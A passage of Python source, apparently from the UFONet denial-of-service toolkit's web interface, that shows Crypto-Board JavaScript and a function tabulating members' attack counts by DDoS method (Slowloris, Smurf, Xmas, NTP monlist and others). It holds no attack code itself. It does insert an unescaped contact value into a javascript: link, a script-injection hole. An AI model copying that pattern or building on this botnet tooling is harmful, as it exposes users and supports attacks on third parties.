  803. document.getElementById('nb1').style.display = 'none';
  804. board_source=document.getElementById("board_source").value
  805. if(board_source == "") {
  806. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  807. return
  808. }else{
  809. params="board_source="+escape(board_source)
  810. runCommandX("cmd_sync_board",params)
  811. setTimeout("location.reload()", 10000)
  812. }
  813. }
  814. </script>
  815. <script language="javascript">
  816. function SendMessage() {
  817. board_source=document.getElementById("board_source_send").value
  818. board_key=document.getElementById("board_key").value
  819. stream_txt=document.getElementById("stream_txt").value
  820. board_selector=document.getElementById("board_selector");
  821. board_topic = board_selector.options[board_selector.selectedIndex].value;
  822. if(board_key == "") {
  823. board_key='"""+str(self.crypto_key)+"""';
  824. }else{
  825. if(stream_txt == "") {
  826. window.alert("You need to enter a message! (~ 1-140 characters)");
  827. return
  828. }else{
  829. if(board_source == "") {
  830. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  831. return
  832. }else{
  833. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  834. runCommandX("cmd_send_message_board",params)
  835. setTimeout("location.reload()", 10000)
  836. }
  837. }
  838. }
  839. }
  840. </script>
  841. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  842. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  843. <br>
  844. <center>
  845. <table cellpadding="5" cellspacing="5"><tr>
  846. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Crypto-Board!. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
  847. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  848. </td></tr></table></tr></table>
  849. <hr><br>"""+board_panel+"""
  850. """ + self.pages["/footer"]
  851. def generate_grid(self):
  852. with open(self.grid_file) as f:
  853. for line in f:
  854. line = line.strip()
  855. f.close()
  856. mothership_members = 0 # mothership_members stats bonus
  857. unknown_members = 0 # unknown (or non decrypted) mothership members
  858. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>FRAGGLE:</u></td><td align='center'><u>SNIPER:</u></td><td align='center'><u>UFOACK:</u></td><td align='center'><u>UFORST:</u></td><td align='center'><u>DROPER:</u></td><td align='center'><u>OVERLAP:</u></td><td align='center'><u>PINGER:</u></td><td align='center'><u>UFOUDP:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  859. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  860. if grid_msg_sep in m:
  861. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  862. m = m.split(grid_msg_sep)
  863. mothership_members = mothership_members + 1
  864. grid_nickname = m[0][0:12]
  865. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  866. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  867. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  868. grid_totalchargo = m[2][0:4] # total chargo
  869. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  870. grid_dorking = m[3][0:4] # dorking
  871. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  872. grid_transferred = m[4][0:4] # transferred
  873. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  874. grid_maxchargo = m[5][0:4] # maxchargo
  875. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  876. grid_missions = m[6][0:4] # missions
  877. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  878. grid_attacks = m[7][0:4] # attacks
  879. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  880. grid_loic = m[8][0:4] # loic
  881. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  882. if version > 18: # v1.5
  883. grid_loris = m[9][0:4] # loris
  884. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  885. grid_ufosyn = m[10][0:4] # ufosyn
  886. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  887. grid_spray = m[11][0:4] # spray
  888. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  889. grid_smurf = m[12][0:4] # smurf
  890. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  891. grid_xmas = m[13][0:4] # xmas
  892. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  893. grid_nuke = m[14][0:4] # nuke
  894. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  895. grid_tachyon = m[15][0:4] # tachyon
  896. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  897. grid_monlist = m[16][0:4] # monlist
  898. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  899. grid_fraggle = m[17][0:4] # fraggle
  900. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  901. grid_sniper = m[18][0:4] # sniper
  902. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  903. grid_ufoack = m[19][0:4] # ufoack
  904. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  905. grid_uforst = m[20][0:4] # uforst
  906. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  907. grid_droper = m[21][0:4] # droper
  908. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  909. grid_overlap = m[22][0:4] # overlap
  910. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  911. grid_pinger = m[23][0:4] # pinger
  912. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  913. grid_ufoudp = m[24][0:4] # ufoudp
  914. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  915. try:
  916. grid_contact = "<a href=javascript:alert('"+str(m[25][0:12])+"');>View</a>" # js contact view (obfuscation)
  917. except:
  918. grid_contact= "invalid"
  919. try:
  920. grid_id = m[26] # id (plain id)
  921. except:
  922. grid_id = "invalid!"
  923. if version == 18: # v1.4
  924. grid_loris = m[9][0:4] # loris
  925. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  926. grid_ufosyn = m[10][0:4] # ufosyn
  927. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  928. grid_spray = m[11][0:4] # spray
  929. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  930. grid_smurf = m[12][0:4] # smurf
  931. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  932. grid_xmas = m[13][0:4] # xmas
  933. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  934. grid_nuke = m[14][0:4] # nuke
  935. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  936. grid_tachyon = m[15][0:4] # tachyon
  937. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  938. grid_monlist = m[16][0:4] # monlist
  939. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  940. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  941. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  942. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  943. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  944. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  945. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  946. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  947. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  948. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  949. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  950. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  951. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  952. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  953. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  954. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  955. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  956. try:
  957. grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
  958. except:
  959. grid_contact= "invalid"
  960. try:
  961. grid_id = m[18] # id (plain id)
  962. except:
  963. grid_id = "invalid!"
  964. if version == 17: # v1.3
  965. grid_loris = m[9][0:4] # loris
  966. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  967. grid_ufosyn = m[10][0:4] # ufosyn
  968. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  969. grid_spray = m[11][0:4] # spray
  970. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  971. grid_smurf = m[12][0:4] # smurf
  972. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  973. grid_xmas = m[13][0:4] # xmas
  974. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  975. grid_nuke = m[14][0:4] # nuke
  976. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  977. grid_tachyon = m[15][0:4] # tachyon
  978. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  979. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  980. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  981. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  982. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  983. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  984. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  985. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  986. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  987. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  988. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  989. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  990. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  991. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  992. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  993. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  994. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  995. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  996. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  997. try:
  998. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  999. except:
  1000. grid_contact= "invalid"
  1001. try:
  1002. grid_id = m[17] # id (plain id)
  1003. except:
  1004. grid_id = "invalid!"
  1005. elif version == 16: # v1.2.1
  1006. grid_loris = m[9][0:4] # loris
  1007. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1008. grid_ufosyn = m[10][0:4] # ufosyn
  1009. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1010. grid_spray = m[11][0:4] # spray
  1011. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1012. grid_smurf = m[12][0:4] # smurf
  1013. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1014. grid_xmas = m[13][0:4] # xmas
  1015. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1016. grid_nuke = m[14][0:4] # nuke
  1017. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1018. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1019. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1020. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1021. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1022. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1023. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1024. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1025. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1026. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1027. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1028. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1029. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1030. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1031. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1032. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1033. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1034. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1035. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1036. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1037. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1038. try:
  1039. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  1040. except:
  1041. grid_contact= "invalid"
  1042. try:
  1043. grid_id = m[16] # id (plain id)
  1044. except:
  1045. grid_id = "invalid!"
  1046. elif version == 15: # v1.2
  1047. grid_loris = m[9][0:4] # loris
  1048. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1049. grid_ufosyn = m[10][0:4] # ufosyn
  1050. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1051. grid_spray = m[11][0:4] # spray
  1052. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1053. grid_smurf = m[12][0:4] # smurf
  1054. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1055. grid_xmas = m[13][0:4] # xmas
  1056. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1057. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1058. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1059. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1060. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1061. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1062. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1063. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1064. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1065. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1066. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1067. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1068. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1069. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1070. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1071. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1072. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1073. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1074. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1075. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1076. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1077. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1078. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1079. try:
  1080. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  1081. except:
  1082. grid_contact= "invalid"
  1083. try:
  1084. grid_id = m[15] # id (plain id)
  1085. except:
  1086. grid_id = "invalid!"
  1087. elif version == 12: # v1.1
  1088. grid_loris = m[9][0:4] # loris
  1089. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1090. grid_ufosyn = m[10][0:4] # ufosyn
  1091. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1092. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1093. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1094. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1095. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1096. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1097. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1098. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1099. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1100. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1101. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1102. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1103. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1104. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1105. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1106. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1107. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1108. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1109. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1110. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1111. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1112. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1113. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1114. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1115. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1116. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1117. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1118. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1119. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1120. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  1121. try:
  1122. grid_id = m[12] # id (plain id)
  1123. except:
  1124. grid_id = "invalid!"
  1125. elif version == 11: # v1.0
  1126. grid_loris = m[9][0:4] # loris
  1127. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1128. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1129. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1130. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1131. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1132. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1133. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1134. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1135. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1136. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1137. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1138. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1139. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1140. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1141. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1142. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1143. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1144. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1145. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1146. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1147. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1148. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
